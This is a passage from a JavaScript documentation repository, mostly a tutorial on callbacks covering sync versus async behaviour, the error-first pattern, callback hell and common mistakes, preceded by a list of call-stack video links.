href=\"https://www.youtube.com/watch?v=Z6a1cLyq7Ac\">\n    Shows how JavaScript creates execution contexts and manages memory during function calls. Part of Codesmith's excellent \"JavaScript: The Hard Parts\" series.\n  </Card>\n  <Card title=\"Javascript: the Call Stack explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=w6QGEiQceOM\">\n    Traces through nested function calls line by line, showing exactly when frames are pushed and popped. Good for visual learners who want to see each step.\n  </Card>\n  <Card title=\"What is the Call Stack?\" icon=\"video\" href=\"https://www.youtube.com/watch?v=w7QWQlkLY_s\">\n    Uses a simple factorial example to demonstrate recursion on the call stack. Under 10 minutes, perfect for a quick refresher.\n  </Card>\n  <Card title=\"The Call Stack\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Q2sFmqvpBe0\">\n    Draws out the stack visually as code executes, making the LIFO concept easy to grasp. Includes a stack overflow example that shows what happens when things go wrong.\n  </Card>\n  <Card title=\"Call Stacks - CS50\" icon=\"video\" href=\"https://www.youtube.com/watch?v=aCPkszeKRa4\">\n    Harvard's CS50 explains call stacks from a computer science perspective — great for understanding the theory.\n  </Card>\n  <Card title=\"Learn the JavaScript Call Stack\" icon=\"video\" href=\"https://www.youtube.com/watch?v=HXqXPGS96rw\">\n    Live codes examples while explaining each concept, so you see exactly how to trace execution yourself. Great for following along in your own editor.\n  </Card>\n  <Card title=\"JavaScript Functions and the Call Stack\" icon=\"video\" href=\"https://www.youtube.com/watch?v=P6H-T4cUDR4\">\n    Focuses on the relationship between function invocation and stack frames. Explains why understanding the call stack helps you debug errors faster.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/callbacks.mdx",
    "content": "---\ntitle: \"Callbacks\"\nsidebarTitle: \"Callbacks: The Foundation of Async\"\ndescription: \"Learn JavaScript callbacks. Understand sync vs async callbacks, error-first patterns, callback hell, and why Promises were invented.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Async JavaScript\"\n\"article:tag\": \"javascript callbacks, async callbacks, callback hell, error-first pattern, callback functions\"\n---\n\nWhy doesn't JavaScript wait? When you set a timer, make a network request, or listen for a click, how does your code keep running instead of freezing until that operation completes?\n\n```javascript\nconsole.log('Before timer')\n\nsetTimeout(function() {\n  console.log('Timer fired!')\n}, 1000)\n\nconsole.log('After timer')\n\n// Output:\n// Before timer\n// After timer\n// Timer fired! (1 second later)\n```\n\nThe answer is **callbacks**: functions you pass to other functions, saying \"call me back when you're done.\" As defined on MDN, a callback function is passed into another function as an argument and is then invoked inside the outer function. Callbacks power everything async in JavaScript. Every event handler, every timer, every network request. They all rely on them.\n\n<Info>\n**What you'll learn in this guide:**\n- What callbacks are and why JavaScript uses them\n- The difference between synchronous and asynchronous callbacks\n- How callbacks connect to higher-order functions\n- Common callback patterns (event handlers, timers, array methods)\n- The error-first callback pattern (Node.js convention)\n- Callback hell and the \"pyramid of doom\"\n- How to escape callback hell\n- Why Promises were invented to solve callback problems\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes familiarity with [the Event Loop](/concepts/event-loop). It's the mechanism that makes async callbacks work! You should also understand [higher-order functions](/concepts/higher-order-functions), since callbacks are passed to higher-order functions.\n</Warning>\n\n---\n\n## What is a Callback?\n\nA **[callback](https://developer.mozilla.org/en-US/docs/Glossary/Callback_function)** is a function passed as an argument to another function, that gets called later. The other function decides when (or if) to run it.\n\n```javascript\n// greet is a callback function\nfunction greet(name) {\n  console.log(`Hello, ${name}!`)\n}\n\n// processUserInput accepts a callback\nfunction processUserInput(callback) {\n  const name = 'Alice'\n  callback(name)  // \"calling back\" the function we received\n}\n\nprocessUserInput(greet)  // \"Hello, Alice!\"\n```\n\nThe term \"callback\" comes from the idea of being **called back**. Think of it like getting a buzzer at a restaurant: \"We'll buzz you when your table is ready.\"\n\n<Tip>\n**Here's the thing:** A callback is just a regular function. Nothing magical about it. What makes it a \"callback\" is *how it's used*: passed to another function to be executed later.\n</Tip>\n\n### Callbacks Can Be Anonymous\n\nYou don't have to define callbacks as named functions. Anonymous functions (and arrow functions) work just as well:\n\n```javascript\n// Named function as callback\nfunction handleClick() {\n  console.log('Clicked!')\n}\nbutton.addEventListener('click', handleClick)\n\n// Anonymous function as callback\nbutton.addEventListener('click', function() {\n  console.log('Clicked!')\n})\n\n// Arrow function as callback\nbutton.addEventListener('click', () => {\n  console.log('Clicked!')\n})\n```\n\nAll three do the same thing. Named functions are easier to debug though, and you can reuse them.\n\n---\n\n## The Restaurant Buzzer Analogy\n\nCallbacks work like the buzzer you get at a busy restaurant:\n\n1. **You place an order** — You call a function and pass it a callback\n2. **You get a buzzer** — The function registers your callback\n3. **You go sit down** — Your code continues running (non-blocking)\n4. **The buzzer goes off** — The async operation completes\n5. **You pick up your food** — Your callback is executed\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     THE RESTAURANT BUZZER ANALOGY                        │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  YOU (Your Code)              RESTAURANT (JavaScript Runtime)            │\n│                                                                          │\n│  ┌──────────────┐             ┌─────────────────────────────────┐        │\n│  │              │             │            KITCHEN               │        │\n│  │  \"I'd like   │  ────────►  │         (Web APIs)               │        │\n│  │   a burger\"  │   ORDER     │                                  │        │\n│  │              │             │    [setTimeout: 5 min]           │        │\n│  └──────────────┘             │    [fetch: waiting...]           │        │\n│         │                     │    [click: listening...]         │        │\n│         │                     └─────────────────────────────────┘        │\n│         │                                    │                           │\n│         │ You get a buzzer                   │ When ready...             │\n│         │ and go sit down                    ▼                           │\n│         │                     ┌─────────────────────────────────┐        │\n│         │                     │         PICKUP COUNTER          │        │\n│         ▼                     │        (Callback Queue)         │        │\n│  ┌──────────────┐             │                                  │        │\n│  │              │             │  [Your callback waiting here]    │        │\n│  │  📱 BUZZ!    │  ◄────────  │                                  │        │\n│  │              │   READY!    └─────────────────────────────────┘        │\n│  │  Time to     │                                                        │\n│  │  eat!        │             The Event Loop calls your callback         │\n│  └──────────────┘             when the kitchen (Web API) is done         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThe key insight: **you don't wait at the counter**. You give them a way to reach you (the callback), and you go do other things. That's how JavaScript stays fast — it never sits around waiting. According to the 2023 State of JS survey, while most developers now prefer Promises and async/await for new code, callbacks remain foundational and are still used extensively in event handling and Node.js APIs.\n\n```javascript\n// You place your order (start async operation)\nsetTimeout(function eatBurger() {\n  console.log('Eating my burger!')  // This is the callback\n}, 5000)\n\n// You go sit down (your code continues)\nconsole.log('Sitting down, checking my phone...')\nconsole.log('Chatting with friends...')\nconsole.log('Reading the menu...')\n\n// Output:\n// Sitting down, checking my phone...\n// Chatting with friends...\n// Reading the menu...\n// Eating my burger! (5 seconds later)\n```\n\n---\n\n## Callbacks and Higher-Order Functions\n\nCallbacks and [higher-order functions](/concepts/higher-order-functions) go hand in hand:\n\n- A **higher-order function** is a function that accepts functions as arguments or returns them\n- A **callback** is the function being passed to a higher-order function\n\n```javascript\n// forEach is a HIGHER-ORDER FUNCTION (it accepts a function)\n// The arrow function is the CALLBACK (it's being passed in)\n\nconst numbers = [1, 2, 3]\n\nnumbers.forEach((num) => {    // ← This is the callback\n  console.log(num * 2)\n})\n// 2, 4, 6\n```\n\nEvery time you use `map`, `filter`, `forEach`, `reduce`, `sort`, or `find`, you're passing callbacks to higher-order functions:\n\n```javascript\nconst users = [\n  { name: 'Alice', age: 25 },\n  { name: 'Bob', age: 17 },\n  { name: 'Charlie', age: 30 }\n]\n\n// filter accepts a callback that returns true/false\nconst adults = users.filter(user => user.age >= 18)\n\n// map accepts a callback that transforms each element\nconst names = users.map(user => user.name)\n\n// find accepts a callback that returns true when found\nconst bob = users.find(user => user.name === 'Bob')\n\n// sort accepts a callback that compares two elements\nconst byAge = users.sort((a, b) => a.age - b.age)\n```\n\n<Note>\n**The connection:** Understanding higher-order functions helps you understand callbacks. If you're comfortable with `map` and `filter`, you already understand callbacks! The only difference with async callbacks is *when* they execute.\n</Note>\n\n---\n\n## Synchronous vs Asynchronous Callbacks\n\nSome callbacks run right away. Others run later. Getting this wrong will bite you.\n\n### Synchronous Callbacks\n\n**Synchronous callbacks** are executed immediately, during the function call. They block until complete.\n\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\n\nconsole.log('Before map')\n\nconst doubled = numbers.map(num => {\n  console.log(`Doubling ${num}`)\n  return num * 2\n})\n\nconsole.log('After map')\nconsole.log(doubled)\n\n// Output (all synchronous, in order):\n// Before map\n// Doubling 1\n// Doubling 2\n// Doubling 3\n// Doubling 4\n// Doubling 5\n// After map\n// [2, 4, 6, 8, 10]\n```\n\nThe callback runs for each element **before** `map` returns. Nothing else happens until it's done.\n\n**Common synchronous callbacks:**\n- Array methods: `map`, `filter`, `forEach`, `reduce`, `find`, `sort`, `every`, `some`\n- String methods: `replace` (with function)\n- Object methods: `Object.keys().forEach()`\n\n### Asynchronous Callbacks\n\n**Asynchronous callbacks** are executed later, after the current code finishes. They don't block.\n\n```javascript\nconsole.log('Before setTimeout')\n\nsetTimeout(() => {\n  console.log('Inside setTimeout')\n}, 0)  // Even with 0ms delay!\n\nconsole.log('After setTimeout')\n\n// Output:\n// Before setTimeout\n// After setTimeout\n// Inside setTimeout (runs AFTER all sync code)\n```\n\nEven with a 0ms delay, the callback runs **after** the synchronous code. This is because async callbacks go through the [event loop](/concepts/event-loop).\n\n**Common asynchronous callbacks:**\n- Timers: `setTimeout`, `setInterval`\n- Events: `addEventListener`, `onclick`\n- Network: `XMLHttpRequest.onload`, `fetch().then()`\n- Node.js I/O: `fs.readFile`, `http.get`\n\n### Comparison Table\n\n| Aspect | Synchronous Callbacks | Asynchronous Callbacks |\n|--------|----------------------|------------------------|\n| **When executed** | Immediately, during the function call | Later, via the event loop |\n| **Blocking** | Yes — code waits for completion | No — code continues immediately |\n| **Examples** | `map`, `filter`, `forEach`, `sort` | `setTimeout`, `addEventListener`, `fetch` |\n| **Use case** | Data transformation, iteration | I/O, user interaction, timers |\n| **Error handling** | Regular `try/catch` works | `try/catch` won't catch errors! |\n| **Return value** | Can return values | Return values usually ignored |\n\n### The Critical Difference: Error Handling\n\nThis trips up almost everyone:\n\n```javascript\n// Synchronous callback - try/catch WORKS\ntry {\n  [1, 2, 3].forEach(num => {\n    if (num === 2) throw new Error('Found 2!')\n  })\n} catch (error) {\n  console.log('Caught:', error.message)  // \"Caught: Found 2!\"\n}\n\n// Asynchronous callback - try/catch DOES NOT WORK!\ntry {\n  setTimeout(() => {\n    throw new Error('Async error!')  // This error escapes!\n  }, 100)\n} catch (error) {\n  // This will NEVER run\n  console.log('Caught:', error.message)\n}\n// The error crashes your program!\n```\n\nWhy? The `try/catch` runs immediately. By the time the async callback executes, the `try/catch` is long gone. The callback runs in a different \"turn\" of the event loop.\n\n---\n\n## How Callbacks Work with the Event Loop\n\nTo understand async callbacks, you need to see how they work with the [event loop](/concepts/event-loop).\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     ASYNC CALLBACK LIFECYCLE                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  1. YOUR CODE RUNS                                                       │\n│  ┌─────────────────────────────────────────────────────────────────┐    │\n│  │  console.log('Start')                                            │    │\n│  │  setTimeout(callback, 1000)  // Register callback with Web API   │    │\n│  │  console.log('End')                                              │    │\n│  └─────────────────────────────────────────────────────────────────┘    │\n│                          │                                               │\n│                          ▼                                               │\n│  2. WEB API HANDLES THE ASYNC OPERATION                                  │\n│  ┌─────────────────────────────────────────────────────────────────┐    │\n│  │  Timer starts counting...                                        │    │\n│  │  (Your code continues running - it doesn't wait!)                │    │\n│  └─────────────────────────────────────────────────────────────────┘    │\n│                          │                                               │\n│                          ▼ (after 1000ms)                                │\n│  3. CALLBACK QUEUED                                                      │\n│  ┌─────────────────────────────────────────────────────────────────┐    │\n│  │  Timer done! Callback added to Task Queue                        │    │\n│  │  [callback] ← waiting here                                       │    │\n│  └─────────────────────────────────────────────────────────────────┘    │\n│                          │                                               │\n│                          ▼ (when call stack is empty)                    │\n│  4. EVENT LOOP EXECUTES CALLBACK                                         │\n│  ┌─────────────────────────────────────────────────────────────────┐    │\n│  │  Event Loop: \"Call stack empty? Let me grab that callback...\"    │    │\n│  │  callback() runs!                                                │    │\n│  └─────────────────────────────────────────────────────────────────┘    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nLet's trace through a real example:\n\n```javascript\nconsole.log('1: Script start')\n\nsetTimeout(function first() {\n  console.log('2: First timeout')\n}, 0)\n\nsetTimeout(function second() {\n  console.log('3: Second timeout')\n}, 0)\n\nconsole.log('4: Script end')\n```\n\n**Execution order:**\n\n1. `console.log('1: Script start')` — runs immediately → \"1: Script start\"\n2. `setTimeout(first, 0)` — registers `first` callback with Web APIs\n3. `setTimeout(second, 0)` — registers `second` callback with Web APIs\n4. `console.log('4: Script end')` — runs immediately → \"4: Script end\"\n5. Call stack is now empty\n6. Event Loop checks Task Queue — finds `first`\n7. `first()` runs → \"2: First timeout\"\n8. Event Loop checks Task Queue — finds `second`\n9. `second()` runs → \"3: Second timeout\"\n\n**Output:**\n```\n1: Script start\n4: Script end\n2: First timeout\n3: Second timeout\n```\n\nEven with a 0ms delay, the callbacks still run **after** all the synchronous code finishes.\n\n<Tip>\n**Read more:** Our [Event Loop guide](/concepts/event-loop) goes deep into tasks, microtasks, and rendering. If you want to understand *why* `Promise.then()` runs before `setTimeout(..., 0)`, check it out!\n</Tip>\n\n---\n\n## Common Callback Patterns\n\nHere are the most common ways you'll see callbacks in the wild.\n\n### Pattern 1: Event Handlers\n\nThe most common use of callbacks in browser JavaScript:\n\n```javascript\n// DOM events\nconst button = document.getElementById('myButton')\n\nbutton.addEventListener('click', function handleClick(event) {\n  console.log('Button clicked!')\n  console.log('Event type:', event.type)      // \"click\"\n  console.log('Target:', event.target)        // the button element\n})\n\n// The callback receives an Event object with details about what happened\n```\n\nYou can also use named functions for reusability:\n\n```javascript\nfunction handleClick(event) {\n  console.log('Clicked:', event.target.id)\n}\n\nfunction handleMouseOver(event) {\n  event.target.style.backgroundColor = 'yellow'\n}\n\nbutton.addEventListener('click', handleClick)\nbutton.addEventListener('mouseover', handleMouseOver)\n\n// Later, you can remove them:\nbutton.removeEventListener('click', handleClick)\n```\n\n### Pattern 2: Timers\n\n`setTimeout` and `setInterval` both accept callbacks:\n\n```javascript\n// setTimeout - runs once after delay\nconst timeoutId = setTimeout(function() {\n  console.log('This runs once after 2 seconds')\n}, 2000)\n\n// Cancel it before it runs\nclearTimeout(timeoutId)\n\n// setInterval - runs repeatedly\nlet count = 0\nconst intervalId = setInterval(function() {\n  count++\n  console.log(`Count: ${count}`)\n  \n  if (count >= 5) {\n    clearInterval(intervalId)  // Stop after 5 times\n    console.log('Done!')\n  }\n}, 1000)\n```\n\n**Passing arguments to timer callbacks:**\n\n```javascript\n// Method 1: Closure (most common)\nconst name = 'Alice'\nsetTimeout(function() {\n  console.log(`Hello, ${name}!`)\n}, 1000)\n\n// Method 2: setTimeout's extra arguments\nsetTimeout(function(greeting, name) {\n  console.log(`${greeting}, ${name}!`)\n}, 1000, 'Hello', 'Bob')  // Extra args passed to callback\n\n// Method 3: Arrow function with closure\nconst user = { name: 'Charlie' }\nsetTimeout(() => console.log(`Hi, ${user.name}!`), 1000)\n```\n\n### Pattern 3: Array Iteration\n\nThese are synchronous callbacks, but they're everywhere:\n\n```javascript\nconst products = [\n  { name: 'Laptop', price: 999, inStock: true },\n  { name: 'Phone', price: 699, inStock: false },\n  { name: 'Tablet', price: 499, inStock: true }\n]\n\n// forEach - do something with each item\nproducts.forEach(product => {\n  console.log(`${product.name}: $${product.price}`)\n})\n\n// map - transform each item into something new\nconst productNames = products.map(product => product.name)\n// ['Laptop', 'Phone', 'Tablet']\n\n// filter - keep only items that pass a test\nconst available = products.filter(product => product.inStock)\n// [{ name: 'Laptop', ... }, { name: 'Tablet', ... }]\n\n// find - get the first item that passes a test\nconst phone = products.find(product => product.name === 'Phone')\n// { name: 'Phone', price: 699, inStock: false }\n\n// reduce - combine all items into a single value\nconst totalValue = products.reduce((sum, product) => sum + product.price, 0)\n// 2197\n```\n\n### Pattern 4: Custom Callbacks\n\nYou can create your own functions that accept callbacks:\n\n```javascript\n// A function that does something and then calls you back\nfunction fetchUserData(userId, callback) {\n  // Simulate async operation\n  setTimeout(function() {\n    const user = { id: userId, name: 'Alice', email: 'alice@example.com' }\n    callback(user)\n  }, 1000)\n}\n\n// Using the function\nfetchUserData(123, function(user) {\n  console.log('Got user:', user.name)\n})\nconsole.log('Fetching user...')\n\n// Output:\n// Fetching user...\n// Got user: Alice (1 second later)\n```\n\n---\n\n## The Error-First Callback Pattern\n\nWhen Node.js came along, developers needed a standard way to handle errors in async callbacks. They landed on **error-first callbacks** (also called \"Node-style callbacks\" or \"errbacks\").\n\n### The Convention\n\n```javascript\n// Error-first callback signature\nfunction callback(error, result) {\n  // error: null/undefined if success, Error object if failure\n  // result: the data if success, usually undefined if failure\n}\n```\n\nThe first parameter is **always** reserved for an error. If the operation succeeds, `error` is `null` or `undefined`. If it fails, `error` contains an Error object.\n\n### Reading a File (Node.js Example)\n\n```javascript\nconst fs = require('fs')\n\nfs.readFile('config.json', 'utf8', function(error, data) {\n  // ALWAYS check for error first!\n  if (error) {\n    console.error('Failed to read file:', error.message)\n    return  // Important: stop execution!\n  }\n  \n  // If we get here, error is null/undefined\n  console.log('File contents:', data)\n  const config = JSON.parse(data)\n  console.log('Config loaded:', config)\n})\n```\n\n### Why Put Error First?\n\n1. **Consistency** — Every callback has the same signature\n2. **Can't be ignored** — The error is the first thing you see\n3. **Early return** — Check for error, return early, then handle success\n4. **No exceptions** — Async errors can't be caught with try/catch\n\n### Creating Your Own Error-First Functions\n\n```javascript\nfunction divideAsync(a, b, callback) {\n  // Simulate async operation\n  setTimeout(function() {\n    // Check for errors\n    if (typeof a !== 'number' || typeof b !== 'number') {\n      callback(new Error('Both arguments must be numbers'))\n      return\n    }\n    \n    if (b === 0) {\n      callback(new Error('Cannot divide by zero'))\n      return\n    }\n    \n    // Success! Error is null, result is the value\n    const result = a / b\n    callback(null, result)\n  }, 100)\n}\n\n// Using it\ndivideAsync(10, 2, function(error, result) {\n  if (error) {\n    console.error('Division failed:', error.message)\n    return\n  }\n  console.log('Result:', result)  // Result: 5\n})\n\ndivideAsync(10, 0, function(error, result) {\n  if (error) {\n    console.error('Division failed:', error.message)  // \"Cannot divide by zero\"\n    return\n  }\n  console.log('Result:', result)\n})\n```\n\n### Common Mistake: Forgetting to Return\n\n```javascript\n// ❌ WRONG - code continues after error callback!\nfunction processData(data, callback) {\n  if (!data) {\n    callback(new Error('No data provided'))\n    // Oops! Execution continues...\n  }\n  \n  // This runs even when there's an error!\n  const processed = transform(data)  // Crash! data is undefined\n  callback(null, processed)\n}\n\n// ✓ CORRECT - return after error callback\nfunction processData(data, callback) {\n  if (!data) {\n    return callback(new Error('No data provided'))\n    // Or: callback(new Error(...)); return;\n  }\n  \n  // This only runs if data exists\n  const processed = transform(data)\n  callback(null, processed)\n}\n```\n\n<Warning>\n**Always return after calling an error callback!** Otherwise, your code continues executing with invalid data.\n</Warning>\n\n---\n\n## Callback Hell: The Pyramid of Doom\n\nWhen you have multiple async operations that depend on each other, callbacks nest inside callbacks. This creates the infamous \"callback hell\" or \"pyramid of doom.\"\n\n### The Problem\n\nImagine a user authentication flow:\n\n1. Get user from database\n2. Verify password\n3. Get user's profile\n4. Get user's settings\n5. Render the dashboard\n\nWith callbacks, this becomes:\n\n```javascript\ngetUser(userId, function(error, user) {\n  if (error) {\n    handleError(error)\n    return\n  }\n  \n  verifyPassword(user, password, function(error, isValid) {\n    if (error) {\n      handleError(error)\n      return\n    }\n    \n    if (!isValid) {\n      handleError(new Error('Invalid password'))\n      return\n    }\n    \n    getProfile(user.id, function(error, profile) {\n      if (error) {\n        handleError(error)\n        return\n      }\n      \n      getSettings(user.id, function(error, settings) {\n        if (error) {\n          handleError(error)\n          return\n        }\n        \n        renderDashboard(user, profile, settings, function(error) {\n          if (error) {\n            handleError(error)\n            return\n          }\n          \n          console.log('Dashboard rendered!')\n        })\n      })\n    })\n  })\n})\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         CALLBACK HELL                                    │\n│                    (The Pyramid of Doom)                                 │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   getUser(id, function(err, user) {                                      │\n│     verifyPassword(user, pw, function(err, valid) {                      │\n│       getProfile(user.id, function(err, profile) {                       │\n│         getSettings(user.id, function(err, settings) {                   │\n│           renderDashboard(user, profile, settings, function(err) {       │\n│             // Finally! But look at this indentation...                  │\n│           })                                                             │\n│         })                                                               │\n│       })                                                                 │\n│     })                                                                   │\n│   })                                                                     │\n│                                                                          │\n│   Problems:                                                              │\n│   • Hard to read (horizontal scrolling)                                  │\n│   • Hard to debug (which callback failed?)                               │\n│   • Hard to maintain (adding a step means more nesting)                  │\n│   • Error handling repeated at every level                               │\n│   • Variables from outer callbacks hard to track                         │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Why This Hurts\n\n1. **Readability** — Code flows right instead of down, requiring horizontal scrolling\n2. **Error handling** — Must be duplicated at every level\n3. **Debugging** — Stack traces become confusing\n4. **Maintenance** — Adding or removing steps is painful\n5. **Variable scope** — Variables from outer callbacks are hard to track\n6. **Testing** — Nearly impossible to unit test individual steps\n\n\n\n---\n\n## Escaping Callback Hell\n\nHere's how to escape the pyramid of doom.\n\n### Strategy 1: Named Functions\n\nExtract anonymous callbacks into named functions:\n\n```javascript\n// Before: Anonymous callback hell\ngetData(function(err, data) {\n  processData(data, function(err, processed) {\n    saveData(processed, function(err) {\n      console.log('Done!')\n    })\n  })\n})\n\n// After: Named functions\nfunction handleData(err, data) {\n  if (err) return handleError(err)\n  processData(data, handleProcessed)\n}\n\nfunction handleProcessed(err, processed) {\n  if (err) return handleError(err)\n  saveData(processed, handleSaved)\n}\n\nfunction handleSaved(err) {\n  if (err) return handleError(err)\n  console.log('Done!')\n}\n\nfunction handleError(err) {\n  console.error('Error:', err.message)\n}\n\n// Start the chain\ngetData(handleData)\n```\n\n**Benefits:**\n- Code flows vertically (easier to read)\n- Functions can be reused\n- Easier to debug (named functions in stack traces)\n- Easier to test individually\n\n### Strategy 2: Early Returns and Guard Clauses\n\nKeep the happy path at the lowest indentation level:\n\n```javascript\n// Instead of nested if/else\nfunction processUser(user, callback) {\n  validateUser(user, function(err, isValid) {\n    if (err) {\n      callback(err)\n    } else {\n      if (isValid) {\n        saveUser(user, function(err, savedUser) {\n          if (err) {\n            callback(err)\n          } else {\n            callback(null, savedUser)\n          }\n        })\n      } else {\n        callback(new Error('Invalid user'))\n      }\n    }\n  })\n}\n\n// Use early returns\nfunction processUser(user, callback) {\n  validateUser(user, function(err, isValid) {\n    if (err) return callback(err)\n    if (!isValid) return callback(new Error('Invalid user'))\n    \n    saveUser(user, function(err, savedUser) {\n      if (err) return callback(err)\n      callback(null, savedUser)\n    })\n  })\n}\n```\n\n### Strategy 3: Modularization\n\nSplit your code into smaller, focused modules:\n\n```javascript\n// auth.js\nfunction authenticateUser(credentials, callback) {\n  getUser(credentials.email, function(err, user) {\n    if (err) return callback(err)\n    \n    verifyPassword(user, credentials.password, function(err, isValid) {\n      if (err) return callback(err)\n      if (!isValid) return callback(new Error('Invalid password'))\n      callback(null, user)\n    })\n  })\n}\n\n// profile.js\nfunction loadUserProfile(userId, callback) {\n  getProfile(userId, function(err, profile) {\n    if (err) return callback(err)\n    \n    getSettings(userId, function(err, settings) {\n      if (err) return callback(err)\n      callback(null, { profile, settings })\n    })\n  })\n}\n\n// main.js\nauthenticateUser(credentials, function(err, user) {\n  if (err) return handleError(err)\n  \n  loadUserProfile(user.id, function(err, data) {\n    if (err) return handleError(err)\n    renderDashboard(user, data.profile, data.settings)\n  })\n})\n```\n\n### Strategy 4: Control Flow Libraries (Historical)\n\nBefore Promises, libraries like [async.js](https://caolan.github.io/async/) helped manage callback flow:\n\n```javascript\n// Using async.js waterfall (each step passes result to next)\nasync.waterfall([\n  function(callback) {\n    getUser(userId, callback)\n  },\n  function(user, callback) {\n    verifyPassword(user, password, function(err, isValid) {\n      callback(err, user, isValid)\n    })\n  },\n  function(user, isValid, callback) {\n    if (!isValid) return callback(new Error('Invalid password'))\n    getProfile(user.id, function(err, profile) {\n      callback(err, user, profile)\n    })\n  },\n  function(user, profile, callback) {\n    getSettings(user.id, function(err, settings) {\n      callback(err, user, profile, settings)\n    })\n  }\n], function(err, user, profile, settings) {\n  if (err) return handleError(err)\n  renderDashboard(user, profile, settings)\n})\n```\n\n### Strategy 5: Promises (The Modern Solution)\n\n[Promises](/concepts/promises) were invented specifically to solve callback hell:\n\n```javascript\n// The same flow with Promises\ngetUser(userId)\n  .then(user => verifyPassword(user, password))\n  .then(({ user, isValid }) => {\n    if (!isValid) throw new Error('Invalid password')\n    return getProfile(user.id).then(profile => ({ user, profile }))\n  })\n  .then(({ user, profile }) => {\n    return getSettings(user.id).then(settings => ({ user, profile, settings }))\n  })\n  .then(({ user, profile, settings }) => {\n    renderDashboard(user, profile, settings)\n  })\n  .catch(handleError)\n```\n\n<Note>\nThis Promise chain is intentionally verbose to show how callbacks nest differently with Promises. For cleaner patterns and best practices, check out our [Promises guide](/concepts/promises).\n</Note>\n\nOr with [async/await](/concepts/async-await):\n\n```javascript\n// The same flow with async/await\nasync function initDashboard(userId, password) {\n  try {\n    const user = await getUser(userId)\n    const isValid = await verifyPassword(user, password)\n    \n    if (!isValid) throw new Error('Invalid password')\n    \n    const profile = await getProfile(user.id)\n    const settings = await getSettings(user.id)\n    \n    renderDashboard(user, profile, settings)\n  } catch (error) {\n    handleError(error)\n  }\n}\n```\n\n<Tip>\n**Promises and async/await are built on callbacks.** They don't replace callbacks. They provide a cleaner abstraction over them. Under the hood, Promise `.then()` handlers are still callbacks!\n</Tip>\n\n---\n\n## Common Callback Mistakes\n\n### Mistake 1: Calling a Callback Multiple Times\n\nA callback should typically be called exactly once, either with an error or with a result:\n\n```javascript\n// ❌ WRONG - callback called multiple times!\nfunction fetchData(url, callback) {\n  fetch(url)\n    .then(response => {\n      callback(null, response)  // Called on success\n    })\n    .catch(error => {\n      callback(error)           // Called on error\n    })\n    .finally(() => {\n      callback(null, 'done')    // Called ALWAYS, even after success or error!\n    })\n}\n\n// ✓ CORRECT - callback called exactly once\nfunction fetchData(url, callback) {\n  fetch(url)\n    .then(response => callback(null, response))\n    .catch(error => callback(error))\n}\n```\n\n### Mistake 2: Synchronous and Asynchronous Mixing (Zalgo)\n\nA function should be consistently sync or async, never both. This inconsistency is nicknamed \"releasing Zalgo,\" a reference to an internet meme about unleashing chaos. And chaos is exactly what you get when code behaves unpredictably:\n\n```javascript\n// ❌ WRONG - sometimes sync, sometimes async (Zalgo!)\nfunction getData(cache, callback) {\n  if (cache.has('data')) {\n    callback(null, cache.get('data'))  // Sync!\n    return\n  }\n  \n  fetchFromServer(function(err, data) {\n    callback(err, data)  // Async!\n  })\n}\n\n// This causes unpredictable behavior:\nlet value = 'initial'\ngetData(cache, function(err, data) {\n  value = data\n})\nconsole.log(value)  // \"initial\" or the data? Depends on cache!\n\n// ✓ CORRECT - always async\nfunction getData(cache, callback) {\n  if (cache.has('data')) {\n    // Use setTimeout to make it async (works in browsers and Node.js)\n    setTimeout(function() {\n      callback(null, cache.get('data'))\n    }, 0)\n    return\n  }\n  \n  fetchFromServer(function(err, data) {\n    callback(err, data)\n  })\n}\n```\n\n### Mistake 3: Losing `this` Context\n\nRegular functions lose their `this` binding when used as callbacks:\n\n```javascript\n// ❌ WRONG - this is undefined/global\nconst user = {\n  name: 'Alice',\n  greetLater: function() {\n    setTimeout(function() {\n      console.log(`Hello, ${this.name}!`)  // this.name is undefined!\n    }, 1000)\n  }\n}\nuser.greetLater()  // \"Hello, undefined!\"\n\n// ✓ CORRECT - Use arrow function (inherits this)\nconst user = {\n  name: 'Alice',\n  greetLater: function() {\n    setTimeout(() => {\n      console.log(`Hello, ${this.name}!`)  // Arrow function keeps this\n    }, 1000)\n  }\n}\nuser.greetLater()  // \"Hello, Alice!\"\n\n// ✓ CORRECT - Use bind\nconst user = {\n  name: 'Alice',\n  greetLater: function() {\n    setTimeout(function() {\n      console.log(`Hello, ${this.name}!`)\n    }.bind(this), 1000)  // Explicitly bind this\n  }\n}\nuser.greetLater()  // \"Hello, Alice!\"\n\n// ✓ CORRECT - Save reference to this\nconst user = {\n  name: 'Alice',\n  greetLater: function() {\n    const self = this  // Save reference\n    setTimeout(function() {\n      console.log(`Hello, ${self.name}!`)\n    }, 1000)\n  }\n}\nuser.greetLater()  // \"Hello, Alice!\"\n```\n\n### Mistake 4: Not Handling Errors\n\nAlways handle errors in async callbacks. Unhandled errors can crash your application:\n\n```javascript\n// ❌ WRONG - error ignored\nfs.readFile('config.json', function(err, data) {\n  const config = JSON.parse(data)  // Crashes if err exists!\n  startApp(config)\n})\n\n// ✓ CORRECT - error handled\nfs.readFile('config.json', function(err, data) {\n  if (err) {\n    console.error('Could not read config:', err.message)\n    process.exit(1)\n    return\n  }\n  \n  try {\n    const config = JSON.parse(data)\n    startApp(config)\n  } catch (parseError) {\n    console.error('Invalid JSON in config:', parseError.message)\n    process.exit(1)\n  }\n})\n```\n\n---\n\n## Historical Context: Why JavaScript Uses Callbacks\n\nUnderstanding *why* JavaScript uses callbacks helps everything click into place.\n\n### The Birth of JavaScript (1995)\n\nJavaScript was created by Brendan Eich at Netscape in just 10 days. Its primary purpose was to make web pages interactive, responding to user clicks, form submissions, and other events.\n\n### The Single-Threaded 